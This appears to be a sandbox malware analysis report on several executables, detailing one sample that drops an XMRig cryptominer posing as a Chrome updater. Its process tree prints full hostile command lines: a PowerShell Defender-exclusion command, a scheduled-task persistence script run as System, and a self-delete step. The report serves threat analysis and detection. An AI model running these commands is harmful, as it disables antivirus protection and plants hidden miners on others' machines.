Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr1024/01/2024, 17:15
240124-vstf4aecaj1023/01/2024, 19:27
240123-x6cfvagbd91023/01/2024, 19:27
240123-x6bvbafgem1023/01/2024, 19:27
240123-x6bjjsgbd81023/01/2024, 19:27
240123-x6ax1sfgek1023/01/2024, 19:27
240123-x6abgsfgej1023/01/2024, 19:27
240123-x591qagbd71023/01/2024, 19:27
240123-x59d7agbd61023/01/2024, 19:27
240123-x584esgbd510Analysis
- max time kernel
1800s - max time network
1791s - platform
windows10-2004_x64 - resource
win10v2004-20231222-en - resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system - submitted
23/01/2024, 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
- Target grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
- Size 2.0MB
- Sample240123-x59d7agbd6
- SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
- MD5 a16a669a09bf158058b83e04e69fe38e
- SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
- SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
- SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 2388 created 3556 2388 Y2JYGshMHJGuGREA.exe 59 PID 2388 created 3556 2388 Y2JYGshMHJGuGREA.exe 59 PID 2388 created 3556 2388 Y2JYGshMHJGuGREA.exe 59 PID 2388 created 3556 2388 Y2JYGshMHJGuGREA.exe 59 PID 3852 created 3556 3852 updater.exe 59 PID 3852 created 3556 3852 updater.exe 59 PID 3852 created 3556 3852 updater.exe 59 PID 3776 created 3556 3776 conhost.exe 59 PID 3852 created 3556 3852 updater.exe 59 - XMRig Miner payload 31 IoCs
resource yara_rule behavioral30/memory/1924-118-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-124-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-128-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-130-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-131-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-134-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-137-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-139-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-141-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-143-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-145-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-147-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-149-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-151-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-153-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-155-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-157-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-159-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-161-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-163-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-165-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-167-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-169-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-171-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-173-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-175-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-177-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-179-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-181-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-183-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig behavioral30/memory/1924-185-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp xmrig - Executes dropped EXE 1 IoCs
pid Process 3852 updater.exe -
resource yara_rule behavioral30/memory/1924-118-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-124-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-128-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-130-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-131-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-134-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-137-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-139-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-141-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-143-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-145-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-147-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-149-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-151-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-153-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-155-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-157-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-159-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-161-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-163-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-165-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-167-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-169-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-171-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-173-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-175-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-177-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-179-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-181-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-183-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx behavioral30/memory/1924-185-0x00007FF7F2F90000-0x00007FF7F3784000-memory.dmp upx - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3852 set thread context of 3776 3852 updater.exe 117 PID 3852 set thread context of 1924 3852 updater.exe 115 - Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe Y2JYGshMHJGuGREA.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe - Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2368 WMIC.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe - Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 2388 Y2JYGshMHJGuGREA.exe 2388 Y2JYGshMHJGuGREA.exe 1564 powershell.exe 1564 powershell.exe 2388 Y2JYGshMHJGuGREA.exe 2388 Y2JYGshMHJGuGREA.exe 1396 powershell.exe 1396 powershell.exe 2388 Y2JYGshMHJGuGREA.exe 2388 Y2JYGshMHJGuGREA.exe 2388 Y2JYGshMHJGuGREA.exe 2388 Y2JYGshMHJGuGREA.exe 4928 powershell.exe 4928 powershell.exe 3852 updater.exe 3852 updater.exe 2000 powershell.exe 2000 powershell.exe 3852 updater.exe 3852 updater.exe 4472 powershell.exe 4472 powershell.exe 3852 updater.exe 3852 updater.exe 3852 updater.exe 3852 updater.exe 3776 conhost.exe 3776 conhost.exe 3852 updater.exe 3852 updater.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1564 powershell.exe Token: SeDebugPrivilege 1396 powershell.exe Token: SeIncreaseQuotaPrivilege 1396 powershell.exe Token: SeSecurityPrivilege 1396 powershell.exe Token: SeTakeOwnershipPrivilege 1396 powershell.exe Token: SeLoadDriverPrivilege 1396 powershell.exe Token: SeSystemProfilePrivilege 1396 powershell.exe Token: SeSystemtimePrivilege 1396 powershell.exe Token: SeProfSingleProcessPrivilege 1396 powershell.exe Token: SeIncBasePriorityPrivilege 1396 powershell.exe Token: SeCreatePagefilePrivilege 1396 powershell.exe Token: SeBackupPrivilege 1396 powershell.exe Token: SeRestorePrivilege 1396 powershell.exe Token: SeShutdownPrivilege 1396 powershell.exe Token: SeDebugPrivilege 1396 powershell.exe Token: SeSystemEnvironmentPrivilege 1396 powershell.exe Token: SeRemoteShutdownPrivilege 1396 powershell.exe Token: SeUndockPrivilege 1396 powershell.exe Token: SeManageVolumePrivilege 1396 powershell.exe Token: 33 1396 powershell.exe Token: 34 1396 powershell.exe Token: 35 1396 powershell.exe Token: 36 1396 powershell.exe Token: SeIncreaseQuotaPrivilege 1396 powershell.exe Token: SeSecurityPrivilege 1396 powershell.exe Token: SeTakeOwnershipPrivilege 1396 powershell.exe Token: SeLoadDriverPrivilege 1396 powershell.exe Token: SeSystemProfilePrivilege 1396 powershell.exe Token: SeSystemtimePrivilege 1396 powershell.exe Token: SeProfSingleProcessPrivilege 1396 powershell.exe Token: SeIncBasePriorityPrivilege 1396 powershell.exe Token: SeCreatePagefilePrivilege 1396 powershell.exe Token: SeBackupPrivilege 1396 powershell.exe Token: SeRestorePrivilege 1396 powershell.exe Token: SeShutdownPrivilege 1396 powershell.exe Token: SeDebugPrivilege 1396 powershell.exe Token: SeSystemEnvironmentPrivilege 1396 powershell.exe Token: SeRemoteShutdownPrivilege 1396 powershell.exe Token: SeUndockPrivilege 1396 powershell.exe Token: SeManageVolumePrivilege 1396 powershell.exe Token: 33 1396 powershell.exe Token: 34 1396 powershell.exe Token: 35 1396 powershell.exe Token: 36 1396 powershell.exe Token: SeIncreaseQuotaPrivilege 1396 powershell.exe Token: SeSecurityPrivilege 1396 powershell.exe Token: SeTakeOwnershipPrivilege 1396 powershell.exe Token: SeLoadDriverPrivilege 1396 powershell.exe Token: SeSystemProfilePrivilege 1396 powershell.exe Token: SeSystemtimePrivilege 1396 powershell.exe Token: SeProfSingleProcessPrivilege 1396 powershell.exe Token: SeIncBasePriorityPrivilege 1396 powershell.exe Token: SeCreatePagefilePrivilege 1396 powershell.exe Token: SeBackupPrivilege 1396 powershell.exe Token: SeRestorePrivilege 1396 powershell.exe Token: SeShutdownPrivilege 1396 powershell.exe Token: SeDebugPrivilege 1396 powershell.exe Token: SeSystemEnvironmentPrivilege 1396 powershell.exe Token: SeRemoteShutdownPrivilege 1396 powershell.exe Token: SeUndockPrivilege 1396 powershell.exe Token: SeManageVolumePrivilege 1396 powershell.exe Token: 33 1396 powershell.exe Token: 34 1396 powershell.exe Token: 35 1396 powershell.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1744 wrote to memory of 2732 1744 cmd.exe 99 PID 1744 wrote to memory of 2732 1744 cmd.exe 99 PID 4928 wrote to memory of 3520 4928 powershell.exe 102 PID 4928 wrote to memory of 3520 4928 powershell.exe 102 PID 3852 wrote to memory of 3776 3852 updater.exe 117 PID 4972 wrote to memory of 2368 4972 cmd.exe 113 PID 4972 wrote to memory of 2368 4972 cmd.exe 113 PID 3852 wrote to memory of 1924 3852 updater.exe 115 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2388
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3556
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1564
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1396
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1744 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2732
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4928 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:3520
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
